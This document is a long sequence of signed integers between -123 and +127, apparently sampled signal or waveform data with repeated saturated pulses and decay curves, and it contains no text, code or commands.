+-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-100 +-91 +-83 +-76 +-70 +-64 +-59 +-54 +-49 +-44 +-39 +-35 +-32 +-29 +-26 +-23 +-21 +-18 +-15 +-12 +-11 +-10 +-9 +-6 +-5 +-3 +-1 +1 +1 +1 +2 +4 +4 +5 +6 +7 +7 +7 +7 +8 +8 +9 +10 +11 +10 +10 +10 +11 +11 +11 +12 +13 +52 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-108 +-99 +-90 +-83 +-76 +-69 +-63 +-59 +-54 +-48 +-43 +-38 +-35 +-31 +-28 +-25 +-23 +-20 +-17 +-15 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-17 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-107 +-98 +-89 +-82 +-75 +-69 +-62 +-58 +-54 +-48 +-42 +-38 +-34 +-31 +-28 +-25 +-23 +-20 +-17 +-15 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +102 +96 +89 +84 +78 +74 +70 +65 +60 +57 +54 +51 +47 +45 +42 +40 +37 +36 +34 +33 +30 +29 +28 +27 +25 +24 +23 +23 +21 +20 +19 +19 +18 +17 +16 +17 +16 +15 +14 +15 +14 +14 +13 +14 +13 +13 +12 +13 +12 +12 +11 +11 +11 +10 +10 +10 +10 +10 +9 +10 +10 +10 +9 +10 +10 +9 +9 +10 +10 +9 +9 +10 +9 +9 +9 +10 +9 +9 +9 +10 +9 +9 +8 +9 +9 +8 +8 +9 +9 +9 +9 +9 +9 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +9 +9 +10 +9 +9 +9 +10 +9 +9 +9 +9 +9 +9 +9 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +10 +9 +9 +9 +10 +9 +9 +9 +9 +9 +9 +9 +10 +9 +9 +9 +10 +9 +9 +9 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +8 +8 +9 +10 +10 +10 +10 +9 +9 +8 +8 +8 +8 +8 +9 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +8 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +9 +8 +8 +9 +10 +10 +10 +9 +9 +9 +8 +8 +8 +7 +8 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +8 +8 +9 +10 +10 +9 +9 +9 +8 +8 +8 +8 +8 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +-70 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-121 +-112 +-102 +-94 +-86 +-80 +-73 +-67 +-61 +-56 +-50 +-45 +-40 +-37 +-34 +-31 +-27 +-24 +-20 +-17 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-106 +-97 +-88 +-81 +-73 +-68 +-63 +-58 +-53 +-48 +-43 +-39 +-34 +-31 +-27 +-25 +-22 +-19 +-16 +-14 +-13 +-10 +-8 +-9 +-7 +-5 +-2 +-2 +0 +0 +2 +2 +3 +4 +5 +6 +6 +6 +7 +7 +7 +8 +9 +10 +10 +10 +11 +11 +11 +11 +12 +11 +12 +12 +12 +11 +11 +12 +14 +13 +13 +13 +14 +13 +13 +14 +14 +13 +14 +14 +14 +13 +13 +14 +15 +14 +14 +14 +15 +14 +14 +14 +14 +15 +14 +14 +14 +13 +13 +14 +15 +15 +15 +14 +14 +14 +14 +14 +14 +15 +15 +14 +14 +14 +14 +14 +15 +15 +15 +15 +15 +15 +15 +14 +14 +15 +15 +14 +14 +13 +14 +15 +16 +16 +17 +17 +17 +16 +15 +15 +14 +14 +14 +13 +14 +12 +13 +14 +14 +14 +15 +15 +14 +15 +15 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-105 +-97 +-89 +-81 +-74 +-69 +-63 +-58 +-53 +-48 +-43 +-39 +-34 +-31 +-28 +-26 +-23 +-20 +-17 +-15 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-106 +-97 +-90 +-82 +-74 +-68 +-63 +-59 +-53 +-48 +-43 +-39 +-35 +-31 +-28 +-26 +-23 +-19 +-17 +-15 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +110 +101 +95 +89 +84 +78 +74 +68 +64 +61 +58 +53 +50 +47 +45 +42 +40 +37 +36 +34 +32 +30 +29 +28 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-92 +-84 +-77 +-71 +-66 +-60 +-54 +-48 +-44 +-40 +-36 +-32 +-29 +-26 +-24 +-20 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-105 +-97 +-89 +-82 +-75 +-68 +-62 +-59 +-53 +-47 +-42 +-38 +-34 +-31 +-27 +-25 +-23 +-20 +-16 +-14 +-12 +-9 +-9 +-9 +-6 +-5 +-3 +-2 +0 +0 +1 +2 +3 +3 +5 +6 +6 +7 +8 +7 +7 +8 +10 +10 +11 +11 +11 +11 +11 +11 +12 +12 +12 +12 +12 +11 +11 +12 +14 +14 +13 +13 +14 +14 +13 +13 +15 +14 +14 +14 +14 +13 +13 +13 +15 +14 +14 +14 +15 +14 +14 +14 +15 +14 +14 +14 +14 +13 +13 +13 +15 +15 +15 +14 +14 +14 +15 +14 +15 +15 +15 +14 +14 +13 +14 +14 +15 +14 +15 +15 +15 +14 +14 +14 +15 +14 +15 +54 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +110 +102 +96 +89 +84 +79 +74 +68 +65 +61 +57 +53 +51 +48 +45 +42 +41 +38 +36 +34 +33 +31 +29 +27 +26 +-57 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +42 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +124 +115 +109 +101 +95 +88 +84 +78 +73 +68 +64 +60 +56 +53 +50 +47 +45 +42 +40 +38 +36 +33 +32 +29 +28 +27 +26 +24 +23 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-110 +-100 +-93 +-85 +-78 +-71 +-66 +-60 +-55 +-48 +-44 +-40 +-36 +-32 +-29 +-26 +-23 +-19 +-17 +-15 +-14 +-11 +-10 +-9 +-7 +-5 +-3 +-1 +-1 +0 +1 +3 +3 +4 +4 +6 +6 +6 +6 +7 +8 +9 +9 +10 +11 +10 +10 +11 +11 +12 +11 +12 +12 +13 +12 +13 +13 +14 +14 +14 +13 +13 +13 +13 +13 +14 +14 +14 +14 +15 +13 +13 +14 +15 +14 +15 +14 +15 +14 +14 +14 +15 +14 +14 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +109 +102 +96 +90 +85 +79 +74 +68 +64 +60 +57 +52 +50 +47 +44 +41 +40 +37 +35 +33 +32 +31 +29 +27 +27 +25 +24 +22 +22 +21 +20 +19 +19 +19 +18 +18 +18 +17 +16 +15 +15 +13 +13 +12 +12 +11 +11 +11 +11 +11 +11 +10 +11 +10 +11 +11 +11 +-64 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-121 +-111 +-102 +-93 +-86 +-79 +-72 +-67 +-61 +-56 +-50 +-45 +-40 +-37 +-33 +-30 +-26 +-24 +-21 +-19 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +64 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-107 +-99 +-90 +-83 +-76 +-69 +-63 +-59 +-54 +-48 +-42 +-38 +-34 +-31 +-27 +-25 +-22 +-20 +-16 +-15 +-13 +-11 +-9 +-9 +-7 +-5 +-3 +-2 +0 +1 +2 +2 +3 +4 +6 +5 +6 +6 +7 +6 +7 +8 +9 +10 +10 +10 +11 +11 +11 +11 +12 +12 +12 +50 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +70 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-120 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-99 +-90 +-83 +-76 +-70 +-63 +-58 +-53 +-48 +-43 +-39 +-35 +-32 +-29 +-26 +-23 +-20 +-18 +-15 +-13 +-12 +-10 +-9 +-7 +-4 +-2 +-1 +0 +1 +2 +2 +3 +4 +5 +5 +7 +7 +8 +6 +7 +8 +9 +9 +10 +11 +12 +12 +12 +12 +12 +13 +12 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +110 +102 +96 +90 +84 +78 +74 +69 +65 +61 +57 +54 +51 +47 +45 +42 +40 +37 +35 +33 +33 +30 +29 +27 +27 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-92 +-85 +-77 +-71 +-65 +-60 +-55 +-49 +-44 +-40 +-36 +-33 +-29 +-26 +-23 +-21 +-18 +-15 +26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-16 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +111 +103 +97 +91 +85 +79 +74 +69 +65 +61 +57 +53 +51 +48 +45 +42 +40 +38 +36 +33 +32 +30 +29 +27 +26 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-108 +-100 +-92 +-85 +-77 +-71 +-67 +-61 +-55 +-49 +-44 +-40 +-36 +-32 +-29 +-26 +-23 +-20 +-18 +-16 +-14 +-12 +-10 +-9 +-7 +-5 +-3 +-1 +-1 +0 +1 +3 +3 +4 +4 +6 +6 +6 +5 +6 +8 +10 +10 +11 +11 +11 +10 +11 +10 +11 +11 +11 +11 +12 +10 +11 +12 +13 +12 +13 +13 +13 +13 +13 +13 +13 +14 +14 +13 +14 +13 +13 +13 +14 +15 +15 +14 +15 +14 +15 +14 +14 +14 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-17 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-107 +-99 +-90 +-82 +-76 +-70 +-59 +-54 +-49 +-43 +-39 +-35 +-32 +-28 +-25 +-23 +-21 +-17 +-15 +-13 +-12 +-10 +-9 +-7 +-6 +-3 +-1 +0 +0 +1 +2 +4 +4 +5 +5 +7 +7 +7 +6 +8 +9 +9 +9 +10 +11 +10 +10 +11 +11 +11 +11 +12 +12 +13 +12 +13 +13 +13 +14 +14 +13 +13 +13 +13 +13 +14 +14 +14 +14 +14 +13 +13 +14 +15 +14 +14 +14 +15 +14 +14 +14 +15 +14 +14 +15 +15 +13 +13 +14 +15 +15 +15 +14 +15 +14 +14 +14 +15 +15 +14 +14 +15 +14 +13 +14 +15 +15 +15 +14 +15 +14 +14 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +102 +97 +89 +84 +78 +74 +69 +65 +60 +57 +53 +50 +47 +46 +42 +40 +37 +36 +34 +32 +30 +29 +28 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +41 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +102 +96 +89 +83 +77 +73 +69 +66 +61 +57 +53 +50 +47 +44 +41 +39 +36 +35 +33 +31 +29 +28 +27 +26 +24 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +41 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +57 +-39 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +65 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +110 +102 +96 +90 +84 +78 +74 +69 +66 +62 +59 +55 +51 +48 +46 +42 +40 +37 +36 +33 +32 +30 +29 +27 +26 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +42 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +109 +101 +95 +89 +84 +78 +72 +68 +64 +61 +58 +54 +51 +47 +45 +41 +39 +36 +35 +33 +31 +30 +28 +26 +26 +25 +23 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-109 +-100 +-92 +-84 +-77 +-71 +-66 +-60 +-54 +-49 +-45 +-40 +-36 +-32 +-30 +-26 +-23 +-20 +-18 +-16 +-13 +-11 +-11 +-9 +-7 +-4 +-3 +-2 +-1 +0 +1 +2 +2 +4 +5 +6 +6 +6 +6 +7 +7 +9 +9 +11 +10 +10 +10 +11 +11 +11 +11 +13 +12 +12 +11 +12 +12 +13 +13 +14 +14 +13 +13 +14 +14 +14 +13 +14 +14 +14 +12 +13 +14 +15 +14 +14 +15 +14 +13 +14 +14 +14 +13 +14 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +111 +103 +96 +90 +84 +78 +73 +69 +65 +60 +57 +54 +51 +47 +45 +42 +40 +37 +36 +34 +32 +30 +29 +27 +27 +25 +24 +23 +22 +21 +20 +19 +19 +17 +17 +16 +16 +15 +15 +15 +15 +14 +13 +13 +13 +12 +13 +12 +12 +11 +11 +11 +12 +11 +11 +11 +11 +-64 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-111 +-102 +-94 +-86 +-79 +-73 +-68 +-62 +-55 +-49 +-44 +-39 +-35 +-32 +-30 +-27 +-24 +-22 +-19 +-16 +24 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +65 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-107 +-99 +-90 +-82 +-76 +-69 +-63 +-59 +-54 +-49 +-43 +-38 +-35 +-32 +-28 +-25 +-23 +-21 +-17 +-15 +-13 +-12 +-10 +-9 +-7 +-5 +-3 +-1 +0 +0 +2 +3 +3 +3 +5 +6 +7 +7 +7 +7 +8 +8 +9 +10 +11 +11 +11 +11 +12 +11 +12 +12 +13 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 